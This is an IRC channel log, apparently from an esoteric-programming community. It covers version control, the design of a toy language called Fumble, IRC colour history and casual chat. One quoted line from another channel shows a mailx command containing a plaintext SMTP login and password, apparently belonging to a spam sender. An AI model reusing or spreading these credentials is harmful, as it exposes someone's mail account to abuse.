16:16:12 <mroman> you can still do it, it's just not really the default workflow
16:16:27 -!- augur has joined.
16:17:54 <mroman> and the whole "no permanent internet access" thing is pretty moot today
16:18:04 <mroman> "with git you don't need permanent internet access"
16:18:06 <mroman> yeah right.
16:18:51 <mroman> people are freaking furious when there's no internet for two minutes while riding a train
16:18:53 <ais523> mroman: not moot for me
16:19:08 <ais523> I git offline frequently
16:19:12 <mroman> because the train travels through regions where nobody lives and it's a dead zone as far as reception goes
16:19:13 <b_jonas> mroman: maybe, but I still want a vcs that stores some of the repository locally so it doesn't have to fetch a copy of all files every time I check status, and on the other hand, want a vcs where I don't have to store copy of files that I don't needb
16:19:54 <mroman> true, that's some disadvantage of VCS
16:19:59 <mroman> you need to regularly sync it :D
16:20:06 <mroman> *VSS
16:20:41 <mroman> if somebody else changed a file and you commit another file it's not asking you to pull first
16:21:50 <Phantom_Hoover> so you are describing a VCS which does a bunch of clunky shit and arguing that it's great because that clunky shit isn't that annoying, most of the time
16:22:02 <Phantom_Hoover> not exactly compelling evangelism
16:22:06 <mroman> :D
16:22:34 <mroman> I don't see it as that
16:22:41 <mroman> I see it as chainsaw and wire saw
16:23:24 <mroman> you can use either to cut off a branch from a tree
16:23:59 <mroman> It's not like one is inherently better
16:24:43 <mroman> they behave the same in most of the cases, but differently in some edge cases
16:25:49 <mroman> 99% of the stuff we do here at my workplace could easily be done in VSS or SVN or pretty much any other VCS
16:26:16 <mroman> and for the other 0.9% of the stuff you just re-clone the whole git repository...
16:27:41 <mroman> obviously if you really have distributed teams working all over the place then I would never ever recommend VSS
16:30:18 <mroman> It's just that if git displays some error messages, people will just re-clone the repository and/or do a force-push to the central repository
16:30:53 <ais523> what about both? force-push what you have, then re-clone from the version before the push
16:31:27 <mroman> and with github you basically have a central repository everybody is just pulling/pushing from the master branch :D
16:31:40 -!- nycs has joined.
16:31:49 <mroman> I'm lucky if people here use branches correctly
16:32:00 <mroman> for most it's too much of a nuisance to get branches working
16:32:22 <mroman> just downloading a new branch from the remote is a nuisance
16:32:55 <mroman> fatal: git checkout: updating paths is incompatible with switching branches.
16:32:58 <mroman> stuff like that
16:33:29 -!- ais523 has quit.
16:34:10 <mroman> really the average developer I know (including myself) doesn't really know how to handle git beyond creating a new branch, push and pull
16:35:00 -!- `^_^v has quit (Ping timeout: 272 seconds).
16:35:22 <mroman> I know a little bit about rebasing, squash merging and that
16:35:40 <mroman> but if I see a cryptic error message I just rename the folder and re-clone the repos then manually integrate my stuff
16:36:55 <mroman> I'm also probably the only one at my company working with multiple origins :)
16:37:09 -!- mroman has quit (Quit: well gotta go now).
16:41:11 -!- prooftechnique_ has quit (Quit: ZNC http://znc.in).
16:41:59 -!- prooftechnique has joined.
16:43:18 <moon_> im alive
16:44:24 -!- bender has changed nick to LordBender.
16:46:08 <izabera> 17:23 --> autonick2 (~Arachnius@185.83.148.33.static.user.gibfibre.com) has joined #bash
16:46:10 <izabera> 17:23 <autonick2> Hi there, Im trying to send a smtp mail from commandline, and isnt working: echo "test" | mailx -s "SUBJECT" -S smtp=smtp://mail.digitalgraph.com.br -S smtp-auth=login -S smtp-auth-user=chviagra@digitalgraph.com.br -S smtp-auth-password=kJfe365 -S from="Sender Name <chviagra@mail.com>" recipient@mail.com
16:47:48 -!- Koen_ has quit (Remote host closed the connection).
16:51:15 <moon_> what platfrm and what shell?
16:51:53 <izabera> it's in #bash so...
16:53:38 -!- Koen_ has joined.
17:00:45 <zzo38> I think it has sometimes been said that fossil is for cathedral-style and git is for bazaar-style
17:09:22 -!- LordBender has changed nick to bender.
17:10:50 <moon_> {func[args:a,b;ret:c]: pu-a; pu-b; poc-c; }
17:11:46 <moon_> pu is push and poc is pop and combine
17:11:55 <moon_> im making a new esolang, but with a syntax
17:13:28 -!- lambda-11235 has quit (Ping timeout: 250 seconds).
17:18:21 <FireFly> moon_: vaguely reminds me of K's {[a;b]a+b} syntax for functions
17:18:40 <moon_> ive never seen k
17:19:09 <moon_> also, the language is named 'fumble' for its funky syntax
17:22:19 -!- lambda-11235 has joined.
17:25:20 <moon_> here is another intresting (at least to me) feature of fumble:
17:25:20 <moon_> > is used in variables to signify that whenever they are modified, feed their value to this function (or regex) and set self to return.
17:25:22 <lambdabot> <hint>:1:9: parse error on input ‘in’
17:25:37 <moon_> thanks lambda bot, but that is not a program
17:25:39 -!- bender has quit (Ping timeout: 264 seconds).
17:27:43 <moon_> < does the somewhat opposite, it makes the variable always equal to the last output of a certain function or regex, or makes it always equal a certain variable
17:28:09 <moon_> fumble also supports wildcards for <, which makes it always equal the last function return.
17:31:38 <moon_> huh, no-one intrested?
17:32:10 <zzo38> Are you going to write these detail in esolang wiki?
17:32:13 <zzo38> Probably you should do
17:32:15 <moon_> mhm
17:32:16 <moon_> i am
17:32:38 <moon_> the esolang wiki needs more esolangs with syntax :P
17:32:58 <b_jonas> moon_: eww no
17:33:02 <b_jonas> it needs the exact opposite
17:33:14 <moon_> lol but brainfuck derivatives
17:33:21 <moon_> there are hundreds
17:33:25 <b_jonas> it needs esolangs that have some interesting properties other than just surfacial syntax obfuscations
17:33:29 <moon_> i hope your joking
17:33:38 <moon_> fumble does :P
17:33:39 <b_jonas> and bf derivatives are exactly what we don't need more of
17:33:46 <moon_> ^
17:36:24 -!- dnm has quit (Ping timeout: 240 seconds).
17:37:09 <moon_> also, once im done, i should excercise myself and make a interpreter for it
17:43:46 <moon_> by the way, its self modifying
17:44:07 <moon_> well, against functions wrapped into the main one, at least, but hey, the modifications can be conditional
17:44:09 <moon_> so yea
17:48:50 <moon_> {func2[args:a,b,c;ret:d]: [{func}] ial-funcw-2-"pu-c" rml-funcw-4 al-funcw-"[var1];" al-funcw-"poc-var1;" al-funcw-"pu-var1;" al-funcw-"poc-d" }
17:49:10 <moon_> ial is insert after line, al is append line, and rml is remove line.
17:52:29 <moon_> so far, what do you all think?
18:03:32 -!- moon_ has quit (Ping timeout: 250 seconds).
18:07:56 -!- jaboja has joined.
18:13:14 -!- vodkode has joined.
18:13:33 -!- jaboja has quit (Ping timeout: 240 seconds).
18:30:30 <prooftechnique> Isn't every TC language ultimately just a bf derivative?
18:31:10 * prooftechnique .oO(the trap is set)
18:34:09 -!- Koen_ has quit (Remote host closed the connection).
18:35:26 -!- moon_ has joined.
18:35:27 <izabera> timeline disproves it
18:35:34 <moon_> i just lost the entire 2000+ byte page on fumble
18:35:44 <moon_> thanks alot windows C&P
18:36:10 <izabera> `` paste <(head -c 2000 /dev/urandom | base64) # there you go moon_
18:36:25 <moon_> ..
18:36:28 <\oren\> i prefer to deploy pages using scp
18:36:31 <moon_> i dont think that woks
18:36:43 <izabera> what doesn't work?
18:36:43 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.4349
18:36:50 <prooftechnique> You should use a clipboard history manager of some sort
18:37:28 <\oren\> or use the tmux clipboard and not the windows one
18:38:09 -!- moon__ has joined.
18:38:15 <moon__> network im on stinks
18:38:18 <moon__> fizzie?
18:38:50 <moon__> do you have access to the esolang wiki's preview system log (if it has one)
18:39:04 <\oren\> go to tim hortons they have good intenret
18:39:30 <\oren\> and coffee
18:39:43 <moon__> is fizzie here?
18:40:11 <\oren\> @seen fizzie
18:40:11 <lambdabot> FisZi3
18:40:48 -!- moon_ has quit (Ping timeout: 250 seconds).
18:40:49 <\oren\> lamdabot is not wroking!!!!
18:44:16 -!- moon__ has quit (Ping timeout: 250 seconds).
18:44:42 <\oren\> he last spoke 11 hours ago according to my scrollback
18:45:21 <\oren\> but he hasnt logged out
18:45:37 -!- Koen_ has joined.
18:52:12 -!- Moon_ has joined.
18:52:14 <Moon_> hii
18:52:17 <Moon_> im back
18:52:21 <Moon_> im using mirc this time
18:52:42 <prooftechnique> I'm amazed that's still going
18:53:21 <Moon_> what?
18:53:26 <prooftechnique> mirc
18:53:35 <Moon_> oh, how come?
18:53:54 <prooftechnique> Because it's staggeringly old, and basically the work of one guy
18:54:01 <Moon_> ah
18:54:20 <Moon_> its also paid now, well mostly at least
18:54:25 <Moon_> theres a 'continue' button
18:54:28 <coppro> it's also crap
18:54:30 <Moon_> that doesnt close the application
18:54:40 <coppro> Moon_: it's been like that for over a decade
18:54:40 <Moon_> yea, ima get a better one soon
18:54:41 <prooftechnique> Well, after 21 years, I'd maybe want to make a buck.
18:54:57 <coppro> I don't think the "free trial" has ever really expired
18:55:14 <Moon_> heh, true
18:55:20 <prooftechnique> https://en.wikipedia.org/wiki/MIRC#Military_use
18:55:23 <prooftechnique> wut
18:55:39 <Moon_> ._. wha
18:55:51 <coppro> mirc is also why colours are fucked on IRC
18:56:02 <Moon_> huh? why?
18:56:30 <prooftechnique> /slap is a killer feature, though
18:56:39 <Moon_> lol
18:57:09 <Moon_> also, how many self modifying languages have a full syntax
18:57:23 <Moon_> i.e code blocks and variables
18:57:48 <prooftechnique> COBOL?
18:58:19 <coppro> Moon_: back in the early days, different clients were trying different approaches to colours
18:58:52 <coppro> a method based on the ^C escape code eventually made it into the CTCP spec
18:59:08 -!- moon__ has joined.
18:59:08 <moon__> wow
18:59:14 <moon__> the internet here is terrible
18:59:34 <coppro> 13:58:19 < coppro> Moon_: back in the early days, different clients were trying different approaches to colours
18:59:37 <coppro> 13:58:52 < coppro> a method based on the ^C escape code eventually made it into the CTCP spec
18:59:54 <coppro> mIRC implemented a slightly different spec, though
19:00:05 <coppro> it didn't receive larger support at first because it is ambiguous
19:00:15 <coppro> there are certain text+colour combinations you cannot send because they get misinterpreted
19:00:26 <coppro> the CTCP spec does not have this problem
19:00:29 <b_jonas> wait, isn't the mirc one the only one?
19:00:36 <coppro> Khaled resolutely refused to engage, however
19:00:37 <b_jonas> what's the ctcp one? can you give a link?
19:00:44 <coppro> so eventually the mIRC one won the adoption war
19:01:09 <prooftechnique> I am not adopted
19:01:15 <moon__> think ctcp would've done better
19:01:19 <moon__> all color combos :P
19:01:31 <b_jonas> ah, so that's why I hadn't heard of it
19:01:36 -!- Moon_ has quit (Ping timeout: 244 seconds).
19:01:37 <moon__> and no misinterpritation (i cant spell)
19:01:44 -!- moon__ has changed nick to moon_.
19:03:12 <moon_> .
19:03:31 <moon_> due to bad internet, i might have to make a script to beat ping to sending info so i dont disconnect
19:04:06 <coppro> b_jonas: http://web.archive.org/web/20070702054927/http://www.invlogic.com/irc/ctcp.html
19:05:46 <prooftechnique> Configuring nm2 shouldn't be this annoying :|
19:05:56 <b_jonas> coppro: I see
19:06:04 <prooftechnique> Aha, got it
19:07:10 <coppro> IRC is a clusterfuck
19:07:40 <prooftechnique> Factual
19:11:06 -!- moon__ has joined.
19:11:07 <moon__> urgh.
19:11:18 -!- moon__ has quit (Client Quit).
19:13:12 <prooftechnique> What happened?
19:13:24 -!- moon_ has quit (Ping timeout: 276 seconds).
19:14:27 -!- Moon_ has joined.
19:15:02 <Moon_> ill work on fumble a little later.
19:17:49 -!- dnm has joined.
19:19:16 -!- Moon_ has quit (Ping timeout: 250 seconds).
19:21:04 -!- Moon_ has joined.
19:34:14 -!- Moon_ has quit (Ping timeout: 272 seconds).
19:35:10 -!- Moon_ has joined.
19:48:24 -!- TellsTogo has quit (Ping timeout: 250 seconds).
19:49:22 <zzo38> The IRC that I use does not implement the mIRC colours
19:50:20 <izabera> free as in beer c course http://mooc.fi/courses/2016/aalto-c/en/
20:02:40 -!- nycs has quit (Quit: This computer has gone to sleep).
20:03:08 -!- nycs has joined.
20:03:26 <Moon_> ..
20:03:31 <Moon_> ok im alive good
20:03:49 <Moon_> well, hopefully i can get the page on Fumble up.
20:09:22 -!- nycs has quit (Read error: No route to host).
20:09:33 -!- I has joined.
20:09:56 -!- I has changed nick to Guest83470.
20:10:46 <prooftechnique> Could somebody /me something? I'm testing my irssi format
20:11:18 <shachaf> @where test
20:11:18 <lambdabot> ?? ?@ ?run var$("(@metar "++).(++") \\ ")=<<words ?show
20:11:25 <shachaf> @where+ test /me tests
20:11:25 <lambdabot> I will remember.
20:11:27 <shachaf> @where test
20:11:27 * lambdabot tests
20:11:38 <shachaf> `weather
20:11:43 <prooftechnique> Thank you
20:11:46 <prooftechnique> Off by one, as usual
20:11:50 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: weather: not found
20:12:05 <shachaf> `? weather
20:12:07 <HackEgo> lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK
20:12:09 <prooftechnique> @where test
20:12:10 <lambdabot> CYUL 061900Z 24016G25KT 15SM FEW040 FEW055 SCT075 22/13 A2948 RMK CU1SC1AC1 SLP983 DENSITY ALT 1400FT \ ENVA 061850Z 26005KT CAVOK 17/09 Q1022 NOSIG RMK WIND 670FT 28007KT \ ESSB 061850Z 18009KT CAVOK 13/03 Q1023 \ KOAK 061853Z 31014KT 10SM FEW011 18/12 A2985 RMK AO2 SLP108 T01830117
20:12:10 * lambdabot tests
20:12:16 <prooftechnique> @where test
20:12:16 * lambdabot tests
20:12:19 <prooftechnique> There
20:12:51 <prooftechnique> Although then it's mysteriously wrong in queries :|
20:13:22 <prooftechnique> I'll just have to live with it
20:16:37 <prooftechnique> @where test
20:16:37 * lambdabot tests
20:20:05 <prooftechnique> @where test
20:20:05 * lambdabot tests
20:20:10 <prooftechnique> You demon
20:21:01 -!- augur has quit (Remote host closed the connection).
20:22:21 -!- Moon_ has quit (Ping timeout: 240 seconds).
20:22:35 <prooftechnique> @where test
20:22:36 * lambdabot tests
20:22:57 <prooftechnique> Well, good enough
20:24:38 -!- Deewiant has quit (Remote host closed the connection).
20:24:49 -!- Deewiant has joined.
20:30:56 -!- augur has joined.
20:34:36 -!- S1 has joined.
20:40:34 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
20:41:25 -!- spiette has quit (Quit: :qa!).
20:43:37 -!- xkapastel has joined.
20:49:40 -!- J_Arcane has joined.
20:49:49 <HackEgo> [wiki] [[Fumble]] N https://esolangs.org/w/index.php?oldid=47152 * Moon * (+2814) Created
20:53:24 <HackEgo> [wiki] [[Fumble]] https://esolangs.org/w/index.php?diff=47153&oldid=47152 * Moon * (+189)
20:54:48 -!- Moon_ has joined.
20:55:00 <Moon_> what does everyone think? (once you done reading fumble if you did)
21:00:08 <zzo38> I will look
21:04:11 <zzo38> That look OK so far, although perhaps some examples should also to be included
21:05:20 -!- S1 has quit (Quit: S1).
21:05:30 -!- spiette has joined.
21:07:34 <Moon_> Im adding those now, including factorial
21:11:34 <Moon_> also, to fumble, a 1 is 'true', no higher
21:13:25 <HackEgo> [wiki] [[Fumble]] https://esolangs.org/w/index.php?diff=47154&oldid=47153 * Moon * (+368) Examples!
21:14:02 <HackEgo> [wiki] [[Fumble]] M https://esolangs.org/w/index.php?diff=47155&oldid=47154 * Moon * (+2)
21:15:44 <prooftechnique> Is 2 even more true?
21:16:08 * prooftechnique ducks
21:16:46 <Moon_> No, fumble considers it neither, so a compare on true or false will not work
21:16:53 <Moon_> mainly because fumble'
21:16:59 <Moon_> s true or false is 1 or 0
21:17:43 <Moon_> you like the syntax proof?
21:18:34 <zzo38> And what happen if the condition is 2?
21:18:47 <Moon_> Nothing, its ignored
21:19:59 <Moon_> So useing 2 requires a little extra, also, a 'condition' is considered a bit of code that makes the first value on its personal stack the result
21:20:06 <Moon_> which that result is what is read
21:20:17 -!- hppavilion[1] has joined.
21:20:33 <Moon_> so you can put a entire mini function in place of a small comparison in fumble
21:20:52 <prooftechnique> ┏┓╻┏━╸┏━┓╺┳╸┏━┓
21:20:52 <prooftechnique> ┃┗┫┣╸ ┣━┫ ┃ ┃ ┃
21:20:52 <prooftechnique> ╹ ╹┗━╸╹ ╹ ╹ ┗━┛
21:20:55 <Moon_> ?
21:21:03 <Moon_> desnt look like anything on my screen proof
21:21:12 <prooftechnique> error: could not load font rusto
21:21:16 <prooftechnique> Whoops
21:21:18 <Moon_> lol
21:21:21 <prooftechnique> Well, it said "neato"
21:21:26 <Moon_> ah
21:22:02 <Moon_> also, what do you think of the 'unless' comparison? i think its a unique one ,right?
21:24:00 <prooftechnique> I think Ruby has that
21:24:08 <prooftechnique> Haskell, too, though maybe by a different name
21:24:21 <Moon_> Ah
21:24:24 <prooftechnique> :t unless
21:24:25 <lambdabot> Applicative f => Bool -> f () -> f ()
21:24:35 <prooftechnique> @src unless
21:24:35 <lambdabot> unless p s = if p then return () else s
21:24:49 <prooftechnique> Still, it is a nice thing to have
21:24:52 <prooftechnique> I use it a fair bit
21:24:52 -!- infinitymaster has joined.
21:24:56 <Moon_> Hi
21:25:24 <Moon_> Do they have something like 'continueuntil'?
21:26:10 <prooftechnique> while?
21:26:57 <Moon_> No
21:27:21 <Moon_> continueuntil-< condition >(< code >) allows the main code to continue until a condition is met, once met, it preforms the code and once the code is done jumps back to the instruction it triggered on.
21:29:13 <prooftechnique> :t until
21:29:14 <lambdabot> (a -> Bool) -> (a -> a) -> a -> a
21:29:20 <prooftechnique> @src until'
21:29:20 <lambdabot> Source not found. I am sorry.
21:29:21 <prooftechnique> @src until
21:29:21 <lambdabot> until p f x | p x = x
21:29:21 <lambdabot> | otherwise = until p f (f x)
21:29:41 <Moon_> and what does that do? im no good at haskell yet
21:29:43 <prooftechnique> I don't think I totally understand what your continue until should do
21:29:47 <Moon_> i just understand some basic things
21:30:16 <Moon_> it doesnt do anything until its condition is met, it uses a thread to retry the condition every tick
21:30:30 <Moon_> you know, every time a instruction is processed
21:31:38 <Moon_> i.e continueuntil-{cmp-a-5}-(print "5!") wont execute until a contains 5 later during program execution
21:32:31 <prooftechnique> Hmm, maybe
21:32:32 <prooftechnique> :t when
21:32:34 <lambdabot> Applicative f => Bool -> f () -> f ()
21:32:35 <prooftechnique> @src when
21:32:35 <lambdabot> when p s = if p then s else return ()
21:32:57 <Moon_> doesnt look like it executes in the backround there
21:34:00 <prooftechnique> I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races
21:34:45 <Moon_> which do you mean? continueuntil or when?
21:35:10 <coppro> `quote <prooftechnique> I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races
21:35:15 <HackEgo> No output.
21:35:17 <coppro> `addquote <prooftechnique> I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races
21:35:23 <HackEgo> 1279) <prooftechnique> I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races
21:35:33 <Moon_> *fumbles around chat*
21:36:22 <Moon_> well anyways, what do you think of fumble proof?
21:36:32 <prooftechnique> Something like f a = async $ when (a == 5) (print "5") (a + 1)
21:36:35 <prooftechnique> Or whatever
21:36:51 <prooftechnique> That doesn't typecheck, but that's the sketch o.o
21:37:27 <prooftechnique> Oh, sorry, I meant f a = async $ when (a == 5) (print "5") (f (a + 1))
21:37:52 <prooftechnique> Though that's still wrong
21:37:56 <prooftechnique> Late in the day
21:38:01 <prooftechnique> Anyway, I think it's neat
21:38:21 <Moon_> i just might make a interpreter once i figure out how
21:38:45 <Moon_> i think mine will exclude the threading bits, i cause problems when im gaven just 2 extra ones :P
21:38:46 <prooftechnique> How do you represent negative literals?
21:39:02 <Moon_> you caught something i overlooked
21:39:04 <Moon_> >_>
21:40:03 <Moon_> hmm
21:40:20 <Moon_> !number> maybe?
21:40:25 <Moon_> !<number> maybe?
21:40:46 <shachaf> `cat tmp/fruit
21:40:47 <HackEgo> papaya \ banana \ apple
21:41:10 <shachaf> `` echo jackfruit >> tmp/fruit
21:41:21 <HackEgo> No output.
21:41:40 <HackEgo> [wiki] [[Fumble]] M https://esolangs.org/w/index.php?diff=47156&oldid=47155 * Moon * (+58) negative literals
21:44:18 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47157&oldid=47137 * Moon * (+13) Added fumble to list
21:49:55 <Moon_> lucky for me C++ implents a stack already
21:56:43 -!- infinitymaster has quit (Remote host closed the connection).
21:57:04 -!- augur has quit (Remote host closed the connection).
21:57:16 -!- infinitymaster has joined.
21:57:20 <Moon_> Hi
21:57:57 <Moon_> Also, ima make the interpreter hackego compatible
21:58:15 <Moon_> Unless shachaf or fizzie dont want that
22:01:22 <Moon_> should i put fumble on hackego?
22:01:55 -!- infinitymaster has quit (Ping timeout: 258 seconds).
22:02:55 -!- hwpplayer1 has joined.
22:08:29 -!- Melvar` has joined.
22:08:40 <Moon_> Chat's dead
22:09:03 -!- idris-bot has quit (Ping timeout: 240 seconds).
22:09:34 -!- Melvar has quit (Ping timeout: 250 seconds).
22:12:00 -!- Melvar` has changed nick to Melvar.
22:12:43 -!- infinitymaster has joined.
22:14:19 <Moon_> i just ran into something annoying
22:14:56 <Moon_> if (rawprog.at(counter) == "{")
22:14:59 <Moon_> does not work because
22:15:10 -!- TellsTogo has joined.
22:15:10 <Moon_> C:\Users\Braden\Desktop\Desktop\Fumble\main.cpp|22|error: ISO C++ forbids comparison between pointer and integer [-fpermissive]|
22:15:55 <Moon_> i have to toggle something to disable it >_>
22:16:30 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
22:17:14 -!- infinitymaster has quit (Ping timeout: 250 seconds).
22:18:48 <Moon_> now its borked, ill just use a C string >_>
22:20:55 -!- Melvar` has joined.
22:21:43 -!- Melvar has quit (Disconnected by services).
22:21:46 -!- Melvar` has changed nick to Melvar.
22:21:50 <Taneb> Moon_, why don't you dereference the character and compare to '{'?
22:22:33 <zzo38> {1}, {T}: Target permanent controlled by opponent gains your choice of first strike, vigilance, hexproof, flying, or infect, until end of turn. If the number of cards below this ability on the stack is exactly six, then this ability cannot be countered by spells and abilities.
22:25:28 <Moon_> well i just wrote a big chunk with c strings, i dont feel like rewriting again
22:26:24 -!- Melvar` has joined.
22:28:39 -!- Melvar has quit (Ping timeout: 264 seconds).
22:32:19 <Taneb> zzo38, is that one of your puzzle cards?
22:32:29 <zzo38> No
22:32:33 -!- Melvar` has quit (Ping timeout: 246 seconds).
22:32:34 <zzo38> I just made it up right now
22:32:53 <Taneb> It certainly seems like it could be used for a puzzle
22:33:03 <zzo38> Yes, it does look like that.
22:34:17 <zzo38> I expect such card would be artifact, but I do not know what mana cost of the artifact. (Other changes could also be made, possibly.)
22:34:43 -!- Melvar` has joined.
22:40:51 <zzo38> Giving shroud or shadow seem it may be more powerful than it should be, giving banding or trample is pretty worthless, giving haste is too small effects, and giving phasing isn't really going to do anything anyways.
22:43:24 -!- hppavilion[1] has joined.
22:44:58 -!- spiette has quit (Ping timeout: 250 seconds).
22:48:05 <Moon_> 'fumble.exe has just fumbled' would be much more funny that 'fumble.exe has stopped working'
22:54:40 -!- hwpplayer1 has quit (Quit: Leaving.).
23:00:44 <zzo38> Make the records of Magic: the Puzzling according to: most life points, most names of cards, most sets of cards, most priority passes, most damage, most mana, most objects on the stack, most names of permanents, most types of counters, most objects initially on stack, most nested subgames, most number of players, etc. (It only counts in cases where these numbers are bounded.)
23:01:08 <Moon_> wow, this might take me a while, i need to learn :P
23:01:15 <shachaf> zzo38: Why does it only count when they're bounded?
23:01:41 <shachaf> zzo38: For example, if someone has a countably infinite set of objects, and I have an uncountable set, surely I should win some sort of record.
23:02:10 <zzo38> Yes, but that is a different record. However, there are no uncountable sets in Magic: the Gathering anyways, as far as I know.
23:02:40 <shachaf> Well, that's why it would be a new record.
23:02:44 <zzo38> Note that even if the numbers are unbounded, if there is a well-defined minimum needed for correct solution, that would count though.
23:04:32 <zzo38> (There aren't any infinite sets of objects in Magic: the Gathering either, although some are unbounded.)
23:07:00 -!- boily has joined.
23:09:01 <Moon_> You know what, for now, im not skilled enough t make a fumble interpreter
23:11:27 <Moon_> i certainly wish i was >_>
23:13:11 <Moon_> hey, anyone wana try their hand at it?
23:13:19 <Moon_> http://esolangs.org/wiki/Fumble
23:14:06 <boily> Mhelloon_.
23:15:12 <Moon_> ?
23:15:16 <Moon_> yes?
23:15:44 <shachaf> If you wish to examine a granfalloon, just remove the skin of a toy balloon.
23:15:57 -!- Guest83470 has quit (Quit: This computer has gone to sleep).
23:18:05 <boily> Moon_: it was a customary porthello hth
23:18:09 <boily> hellochaf.
23:28:25 <hppavilion[1]> It's kind of hilarious how games have to specify "Online interactions not rated by ESRB"
23:30:11 <shachaf> Well, they don't have to.
23:30:37 <hppavilion[1]> shachaf: But they do
23:30:42 <shachaf> But they don't.
23:30:53 -!- Sgeo_ has joined.
23:31:18 <shachaf> Taneb: "the ability to prove Lambek's lemma is a litmus test of whether you can think categorically"
23:31:27 <hppavilion[1]> "As it turns out, ESRB has not analyzed every possible behavior of every person who could ever play this game, and thus have not rated the people you will encounter online"
23:31:43 -!- Melvar` has changed nick to Melvar.
23:31:53 <shachaf> The game Hearthstone has no chat feature.
23:32:10 <shachaf> People can only interact by saying one of six or so predefined phrases.
23:32:31 <shachaf> I think the ESRB could manage that.
23:32:45 <Koen_> hexcode?
23:34:11 <zzo38> You could try to use that to encode an IP address and port number, so that you can then use other program for chat.
23:54:27 -!- boily has quit (Quit: DISPLACER CHICKEN).
23:56:58 -!- moon__ has joined.
23:57:01 <moon__> back
23:57:18 -!- Moon_ has quit (Ping timeout: 258 seconds).
23:58:20 <moon__> chat dead?
23:59:33 <moon__> chat dead.
2016-06-07
00:00:26 <zzo38> Are you sure?
00:01:50 -!- oerjan has joined.
00:02:44 <int-e> oerjan: have you come to dispel the myths of this channel's premature demise?
00:02:59 <oerjan> BRAINS
00:05:30 <oerjan> <shachaf> oerjan: Every time someone says that it reminds me of that StackOverflow answer. <-- a quick google didn't find what you're talking about tdnh
00:06:03 <shachaf> @google magic haskell reflection
00:06:04 <lambdabot> http://stackoverflow.com/questions/17793466/black-magic-in-haskell-reflection
00:06:04 <lambdabot> Title: Black Magic in Haskell Reflection - Stack Overflow
00:08:53 <moon__> im writeing up another example for fumble: pretending that it understands what the heck a decimal point is
00:09:06 <oerjan> ah i kept the you instead of the magic.
00:16:33 <prooftechnique> Whenever I see Proxy, the code makes perfect sense as long as I replace it with "whatever you need it to be"
00:16:39 <HackEgo> [wiki] [[Fumble]] https://esolangs.org/w/index.php?diff=47158&oldid=47156 * Moon * (+305) Added Decimal Numbers example -Moon_
00:16:52 <shachaf> If you replace Proxy with @, everything'll work out.
00:16:58 <shachaf> Now that GHC supports @.
00:17:37 <HackEgo> [wiki] [[Fumble]] M https://esolangs.org/w/index.php?diff=47159&oldid=47158 * Moon * (-40) minor error
00:18:20 <\oren\> I'm leaving for Tokyo tomorrow.
00:18:31 <moon__> Neato
00:18:34 <prooftechnique> Bon voyokyo
00:19:14 <moon__> oerjan, what do you think of fumble?
00:21:34 <oerjan> nothing hth
00:21:44 <moon__> )=
00:21:58 <oerjan> this might have something to do with not having looked at it.
00:22:09 <moon__> lol
00:23:57 <oerjan> moon__: for an esolang, its main unusual feature seems to be _not_ using single character commands hth
00:24:12 <moon__> lol
00:24:28 <moon__> instead it has a full syntax
00:24:47 <moon__> makes it more intresting, really
00:28:06 -!- moon__ has quit (Read error: Connection reset by peer).
00:29:54 <oerjan> . o O ( someone should get hold of peer and give him a good beating )
00:33:00 -!- moon_ has joined.
00:33:23 <moon_> my laptop's batter fell out >_>
00:36:37 <oerjan> fiendish
00:37:05 <oerjan> i guess it hasn't been properly baked.
00:38:35 <moon_> Oerjan, i can give you the factorial of the sum of your username
00:38:48 <oerjan> fancy
00:38:54 <moon_> want it?
00:39:06 <oerjan> not particularly.
00:39:11 <moon_> welll.....
00:39:12 <moon_> {main[args:num]: print-num print-"'s factorial is" [tmp,tmp2,tmp3,sum] until-{cmp-tmp2-1}( set[tmp,num] dec-tmp2 mult-tmp2-num po-tmp3 set-sum-tmp3 set-tmp-tmp2 ) print-sum }
00:39:16 <moon_> fifgure t out (=
00:39:23 <moon_> *figure it out
00:39:31 <shachaf> didn't oerjan just say he didn't want it
00:39:45 <oerjan> indeed
00:39:59 <moon_> 'not particularly' is not synonym to 'didnt want', its like 'maybe'
00:40:27 <oerjan> no, it's diplomatic for "didn't want" hth
00:40:39 <moon_> eh, didnt take that into account
00:41:24 * oerjan is reminded of an anecdote about norwegian-korean culture collision
00:41:54 <oerjan> basically koreans (and i think many other asians) will never outright say "no" to an invitation.
00:42:17 <prooftechnique> :::==== ::: :::==== ::: :::==== :::======= :::==== :::===== ::: ===
00:42:20 <prooftechnique> ::: === ::: ::: === ::: ::: === ::: === === ::: === ::: ::: ===
00:42:22 <prooftechnique> === === === ======= === === === === === === ======== === =====
00:42:25 <prooftechnique> === === === === === === === === === === === === ===
00:42:25 <moon_> whats that?
00:42:27 <prooftechnique> ======= === === ======== ====== === === === === ======= ===
00:42:30 <prooftechnique>
00:42:32 <prooftechnique> But will always say no to a gift
00:42:44 <prooftechnique> It's when someone gives you something without expecting something in return, hth
00:42:48 <moon_> lol i broke the words
00:43:01 <oerjan> her actual response was "maybe i'll try", which the norwegian interpreted as that she might come.
00:43:42 <oerjan> shachaf: i'm not focused enough hth
00:43:55 <shachaf> oerjan: proof that you're norwegian hth
00:44:00 <moon_> lol
00:44:36 <moon_> .
00:46:55 <oerjan> prooftechnique: apparently the question of whether to say no to food, when, and whether to accept such a no, is somewhat of a cultural collision even inside norway. although not anywhere i recall being.
00:47:42 <oerjan> in some communities you're supposed to say no several times before accepting.
00:48:20 <oerjan> (and of course this is an international mess)
00:48:59 <oerjan> which leads to the case where you might want more food, be polite in your way, and the host might interpret it as a final no.
00:49:53 <prooftechnique> oerjan: I have that problem in Sweden, as well. I don't want to imply that I didn't like the food, but I don't want to be a glutton
00:50:35 * oerjan has been known to take the last piece of cake hth hth
00:50:46 <prooftechnique> Though I have that problem everywhere. Except at home, I guess. Only God can judge the amount of pork I eat at home
00:51:09 <moon_> i want to make a interpreter for N--, how should i handle the variable system? http://esolangs.org/wiki/N--
00:51:10 <prooftechnique> The last piece of cake? You're a real monster, and no mistake
